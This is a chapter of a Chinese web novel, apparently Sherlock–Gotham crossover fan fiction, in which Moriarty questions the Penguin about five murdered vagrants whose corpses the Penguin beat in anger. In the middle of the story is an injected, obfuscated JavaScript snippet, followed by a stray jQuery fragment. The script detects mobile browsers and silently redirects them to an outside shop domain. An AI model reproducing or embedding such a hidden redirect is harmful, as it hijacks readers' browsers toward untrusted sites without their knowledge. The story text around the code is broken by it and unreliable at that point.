#企鹅人:都说了我是正经商人
等待出租车的空档,华生掂量了一下怀中的香槟酒,又看了看站在一旁、面无表情的夏洛克,突然问道:“夏洛克,你是不是在生闷气?”
“没有。”
“承认吧,夏洛克,你肯定是在生气。”
夏洛克有些无法忍受华生那种“好吧,你说什么就是什么吧”的眼神,难得没有卖关子:“约翰,其实这起案子的凶手本来就不是科波特先生。”
华生惊讶:“你只是见一面就能排除科波特先生的嫌疑了?”
“甚至,”夏洛克对着花生神秘一笑,“我们还要感谢这位科波特先生。”
这时,一辆出租车停到两人的面前,夏洛克将华生推入车中,自己却没有一起坐进去。
为华生关上车门后,夏洛克隔着车窗对华生说:“我今天晚上不回去了,告诉哈德森太太一声,不必准备我的那份晚饭。”
华生莫名其妙:“夏洛克,你要去哪?”
夏洛克已经转身朝相反的方向走去,向华生摆了摆手,没有回答华生的问题。
——
知道莫里亚蒂先生和自己还有正事要谈,企鹅人依依不舍地和企鹅们道别。
只是一会儿的功夫,企鹅人就和企鹅们混熟了。
企鹅们的眼中闪着好奇的光,黑色燕尾服拖在身后,迈着很小的步伐,下意识地跟在转身离去的企鹅人身后,被饲养员们小心地拦在了原地后,才没有继续跟过来。
乘坐专用电梯,企鹅人将艾尔文带到冰山俱乐部的顶层包厢中。
冰山俱乐部坐拥一整栋六层建筑,而顶层包厢独享六楼,这是企鹅人为自己专门准备的私人居所。
由于谈话可能会涉及哥谭世界,此刻房间中只有艾尔文和企鹅人两个人相对而坐。
坐定之后,企鹅人刚想开口,艾尔文却在企鹅人开口前制止了他,然后在自己的上衣口袋处掏出了一个小型监听器,随手扔在地上,然后用脚碾个粉碎。
夏洛克虽然是个极度相信自己推理能力的侦探,但却并不排斥使用任何能够辅助破案的高科技产品。
和夏洛克打交道的次数多了,艾尔文已经不再需要系统的提示,自己就能发现这些小玩意儿。
只是当艾尔文抬头看向企鹅人时,发现他正看着地上被碾碎的监听器出神,脸上露出一种奇怪的表情,混杂着某种震惊。
艾尔文略一思考就明白了企鹅人是在想些什么。
好吧,像,确实太像了。
这种一言不合就给别人身上偷偷放监听设备的行为,和哥谭世界某个黑漆漆紧身衣怪人的所作所为几乎如出一辙。
艾尔文也懒得向企鹅人解释,夏洛克和蝙蝠侠之间其实还是有很多不同的。
让企鹅人把夏洛克当成这个世界的蝙蝠侠也好,至少再也不需要自己费力强调招惹夏洛克的危险之处。
不仅如此,艾尔文还要添一把火:“奥斯瓦尔德,夏洛克其实要比蝙蝠侠更可怕,你知道为什么吗?”
企鹅人:“哦?为什么?”
艾尔文一字一顿地说:“因为,夏洛克可没有蝙蝠侠的不杀原则。”
企鹅人沉默了,但艾尔文能看出,“恐吓”的效果应该不错。
喝了一口杯中红酒,艾尔文选择直入正题:“奥斯瓦尔德,你知道为什么夏洛克今天会来找你麻烦?”
企鹅人:“为什么?”
艾尔文没有直接回答,而是默默地从怀中拿出五张照片,倒扣在桌面上推给企鹅人。
企鹅人俯身拿起照片,翻开查看。
艾尔文紧紧盯着企鹅人面部的每一丝神态变化。
这是······愤怒?
一般人看到死状如此惨烈的受害者照片,害怕惊惧、怜悯不忍才应该是正常的反应。
可是企鹅人此刻却是一种不加遮掩的愤怒,眉头下压、眼睛睁大怒视刺激源、嘴唇紧抿……艾尔文分析着企鹅人的微表情。
企鹅人缓和了一下自己的情绪,重新对艾尔文露出微笑:“莫里亚蒂先生,实不相瞒,我确实和这几个人有些牵扯,但是······”
艾尔文接口:“但是这几个人并不是你杀的。”
企鹅人有些惊讶:“确实如此,莫里亚蒂先生,我还以为您不会相信我呢,毕竟我应该是最大的嫌疑人才对。”
艾尔文:“是啊,奥斯瓦尔德,你的嫌疑实在是太大了。就比如,如果进行痕迹鉴定的话,会发现尸体上的很大一部分伤痕是由你的雨伞造成的;又比如,你和死者之间刚刚发生了矛盾纠纷,所以你有充分的犯罪动机。”
停顿了一下,艾尔文话锋一转:“但我却知道,倘若你真想杀死这些流浪汉泄愤,就不可能选择事后将他们抛尸在人来人往的街道上,而是会采取更加万无一失的毁尸灭迹方式。”
艾尔文总结道:“从犯罪心理学的角度来看,你和真凶的犯罪心理画像并不相符。”
从今天企鹅人成功摆了夏洛克一道就能看出,企鹅人一直都是一个极为冷静自持的罪犯,不可能让任何人抓住自己的把柄。
所以他不会像某些连环杀手一样非要故意留下证据挑衅警方,更不会像小丑那样的疯子恨不得所有人都知道自己才是凶手。
可以看出,艾尔文的信任和理解让企鹅人很是受用。
接下来的谈话就变得坦诚很多。
在企鹅人的叙述中,艾尔文弄清了事情的原委,至少是企鹅人所涉及的那部分事情的具体情况。
说起来居然还要感谢艾尔文自己。
当初艾尔文给企鹅人出的计划书中,有一部分内容是指导企鹅人如何建立一个以流浪汉群体为基础的情报网络。
经过一段时间的经营,这个情报网络已经初具规模。
因此,当企鹅人发现自己心爱的俱乐部被人搞得一团糟时,便发动了自己的情报网进行查找。
经过一番探查,很快在伦敦东区的一个偏僻码头发现了那五个流浪汉的踪迹。
然而,当企鹅人带着手下赶到时,却发现这五个流浪汉已经被人杀害。
那是一间废旧的集装箱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|10621627|110836||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
集装箱的表面锈迹斑斑,外壳的红蓝涂层已经褪色,失去了原本的光泽,每一面钢板都有十分明显的划痕或撞击的凹痕。
很显然,按照伦敦东区的码头管理规定,像这样的废旧集装箱很快就会被集中销毁。
一群人将集装箱围了起来,其中一个名叫马修的手下很有眼力见,在老板出声吩咐之前便用液压钳剪开集装箱上的锁,然后殷勤地为企鹅人推开箱门。
只是,当马修无意间看到集装箱内的景象时,却被吓了一跳,手中的液压钳一个没拿稳,“哐当”一声掉在地上,让在场的每一个人的心都跟着颤了颤。
原来,当箱门被打开,光线透进集装箱内部后,众人发现,在这间本就面积不大的集装箱内,五个黑色裹尸袋被端端正正地并排摆放在地面上。
斑驳的废旧集装箱、五个摆放整齐的黑色裹尸袋、若有若无的尸臭味、暗沉的天空······
所有这一切都让企鹅人的手下们感到不寒而栗,有几个胆小的甚至下意识往后缩了几步。
在企鹅人的眼神胁迫下,马修颤抖着手,慢慢拉开位于裹尸袋正中间的拉链。
果然,裹尸袋中装的正是是企鹅人此行的目标。
然而,在手下们被眼前尸体的诡异之处感到恶心和震惊时,企鹅人却是怒不可遏。
于是,在手下们错愕又惊惧的目光下,企鹅人以手中的雨伞为工具,在面前的尸体上倾泻着自己的怒火。
叙述到这里,企鹅人用一种无辜的语气对艾尔文说:“莫里亚蒂先生,您能理解我当时的感受吗?自己的复仇对象居然被别人截胡,那种郁闷、憋屈的感觉让我根本控制不住自己。”
艾尔文对企鹅人点了点头表示理解,心里却忍不住去想此刻正躺在巴兹医院法医工作室中的那五具尸体。
结合企鹅人的讲述,艾尔文能够想象到企鹅人当时在封闭的集装箱中虐打尸体时的疯狂,一股逼人的寒气向自己袭来。
企鹅人用一种不在意的语气说道:“其实,他们还要感谢我呢。”
艾尔文疑惑:“此话怎讲?”
企鹅人:“如果不是我,他们的尸体被藏在如此偏僻的地方,根本不可能被轻易发现。流浪汉,您是知道的,他们的死从来都是悄无声息的,不会有人在意他们的死活,除非······”
艾尔文明白了,借口道:“除非是眼下这种情况。”
企鹅人赞同地点点头:“所以您看,如果没有我,苏格兰场会调集如此多的警力进行侦查吗?报纸上会出现那么大篇幅的报道吗?政客们会开始在集会上呼吁提高流浪汉的福利待遇吗?”
艾尔文感叹:“他们生前无人在意,死后反倒备受关注。”
“所以啊,”企鹅人摊了摊手,“旁人可能会觉得我是个虐待尸体的变态,但我们都知道,我可是这几个流浪汉的恩人。如果没有我的插手,可以预见的是,他们的尸体像垃圾一样被悄无声息地扔进海里,杀害他们的凶手则是继续逍遥法外。”
艾尔文没再说话,举起手中的红酒杯,向企鹅人遥遥敬了一杯。